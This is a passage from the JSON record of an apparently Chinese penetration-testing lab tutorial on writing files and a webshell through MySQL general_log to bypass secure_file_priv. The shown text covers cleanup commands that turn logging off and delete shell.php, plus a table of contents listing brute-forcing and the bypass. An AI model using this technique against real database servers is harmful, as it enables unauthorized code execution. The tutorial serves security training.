\u5173\u65e5\u5fd7\u3001\u5220\u6587\u4ef6\u2014\u2014general_log \u4e0d\u5173\u4f1a\u6301\u7eed\u5199\u76d8&#xff0c;\u5c5e\u4e8e\u300c\u5f00\u4e86\u4e0d\u5173\u300d\u7684\u810f\u72b6\u6001<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3307 -uroot -proot &#8211;skip-ssl -e &#034;set global general_log&#061;off;&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3308 -uroot -proot &#8211;skip-ssl -e &#034;set global general_log&#061;off;&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">docker exec mysql57 sh -c &#034;rm -f \/var\/lib\/mysql\/shell.php \/var\/lib\/mysql-files\/gl.txt&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">docker exec mysql80 sh -c &#034;rm -f \/var\/lib\/mysql-files\/s80.txt&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># \u7ec8\u6001\u786e\u8ba4&#xff1a;\u4e24\u53f0 general_log \u90fd\u5e94\u4e3a OFF&#xff0c;\u843d\u76d8\u6587\u4ef6\u90fd\u5e94\u4e3a 0<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3307 -uroot -proot &#8211;skip-ssl -N -e &#034;show variables like &#039;general_log&#039;;&#034; | grep -c OFF<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u4e0b\u4e00\u7bc7\u7ee7\u7eed\u670d\u52a1\u578b\u9776\u6807&#xff1a;Redis 8.10.2 \u672a\u6388\u6743\u8bbf\u95ee\u3002\u90a3\u91cc\u4f1a\u770b\u5230\u4e00\u4e2a\u66f4\u6709\u6559\u5b66\u4ef7\u503c\u7684\u53cd\u9762\u6848\u4f8b\u2014\u2014\u4e09\u6761\u7ecf\u5178 Redis RCE \u94fe\u5728\u65b0\u7248\u4e0a\u5168\u90e8\u5931\u6548&#xff0c;\u800c\u300c\u4e3b\u52a8\u51fa\u7f51\u300d\u7684\u9a8c\u8bc1\u601d\u8def\u4f9d\u7136\u53ef\u7528\u3002<\/span><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee \u00a0\u5f55 \u4e00\u3001\u9776\u6807\u4e0e\u63a5\u5165&#xff1a;\u4ece\u7206\u7834\u5230\u8fde\u63a5 1.1 \u7206\u7834\u4e0e\u8fde\u63a5 \u4e8c\u3001INTO OUTFILE&#xff1a;\u88ab secure_file_priv \u62e6\u4f4f\u7684\u7b2c\u4e00\u6761\u8def 2.1 \u767d\u540d\u5355\u5185&#xff1a;\u6210\u529f 2.2 \u767d\u540d\u5355\u5916&#xff1a;1290 \u62a5\u9519 \u4e09\u3001general_log \u5199\u6587\u4ef6&#xff1a;\u7ed5\u8fc7 secure_file_priv \u7684\u6b63\u89e3 3.1 8.0 \u5bf9\u7167&#xff1a;\u540c\u6837\u53ef\u884c&#xff0c;\u7ba1\u63a7\u5728\u522b\u5904 \u56db\u3001\u7248\u672c\u5dee\u5f02\u4e0e\u5229\u7528\u9762\u603b\u7ed3 \u4e94\u3001\u9632\u5fa1\u89c6\u89d2\u3001\u9a8c\u6536\u4e0e\u6e05\u573a <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[114,100,1800],"topic":[],"class_list":["post-119446","post","type-post","status-publish","format-standard","hentry","category-server","tag-mysql","tag-100","tag-1800"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/119446.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u76ee \u00a0\u5f55 \u4e00\u3001\u9776\u6807\u4e0e\u63a5\u5165&#xff1a;\u4ece\u7206\u7834\u5230\u8fde\u63a5 1.1 \u7206\u7834\u4e0e\u8fde\u63a5 \u4e8c\u3001INTO OUTFILE&#xff1a;\u88ab secure_file_priv \u62e6\u4f4f\u7684\u7b2c\u4e00\u6761\u8def 2.1 \u767d\u540d\u5355\u5185&#xff1a;\u6210\u529f 2.2 \u767d\u540d\u5355\u5916&#xff1a;1290 \u62a5\u9519 \u4e09\u3001general_log \u5199\u6587\u4ef6&#xff1a;\u7ed5\u8fc7 secure_file_priv \u7684\u6b63\u89e3 3.1 8.0 \u5bf9\u7167&#xff1a;\u540c\u6837\u53ef\u884c&#xff0c;\u7ba1\u63a7\u5728\u522b\u5904 \u56db\u3001\u7248\u672c\u5dee\u5f02\u4e0e\u5229\u7528\u9762\u603b\u7ed3 \u4e94\u3001\u9632\u5fa1\u89c6\u89d2\u3001\u9a8c\u6536\u4e0e\u6e05\u573a\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/119446.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-29T09:24:52+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/119446.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/119446.html\",\"name\":\"\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-10-29T09:24:52+00:00\",\"dateModified\":\"2026-10-29T09:24:52+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/119446.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/119446.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/119446.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/119446.html","og_locale":"zh_CN","og_type":"article","og_title":"\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u76ee \u00a0\u5f55 \u4e00\u3001\u9776\u6807\u4e0e\u63a5\u5165&#xff1a;\u4ece\u7206\u7834\u5230\u8fde\u63a5 1.1 \u7206\u7834\u4e0e\u8fde\u63a5 \u4e8c\u3001INTO OUTFILE&#xff1a;\u88ab secure_file_priv \u62e6\u4f4f\u7684\u7b2c\u4e00\u6761\u8def 2.1 \u767d\u540d\u5355\u5185&#xff1a;\u6210\u529f 2.2 \u767d\u540d\u5355\u5916&#xff1a;1290 \u62a5\u9519 \u4e09\u3001general_log \u5199\u6587\u4ef6&#xff1a;\u7ed5\u8fc7 secure_file_priv \u7684\u6b63\u89e3 3.1 8.0 \u5bf9\u7167&#xff1a;\u540c\u6837\u53ef\u884c&#xff0c;\u7ba1\u63a7\u5728\u522b\u5904 \u56db\u3001\u7248\u672c\u5dee\u5f02\u4e0e\u5229\u7528\u9762\u603b\u7ed3 \u4e94\u3001\u9632\u5fa1\u89c6\u89d2\u3001\u9a8c\u6536\u4e0e\u6e05\u573a","og_url":"https:\/\/www.wsisp.com\/helps\/119446.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-10-29T09:24:52+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"3 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/119446.html","url":"https:\/\/www.wsisp.com\/helps\/119446.html","name":"\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-10-29T09:24:52+00:00","dateModified":"2026-10-29T09:24:52+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/119446.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/119446.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/119446.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/119446","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=119446"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/119446\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=119446"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=119446"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=119446"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=119446"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}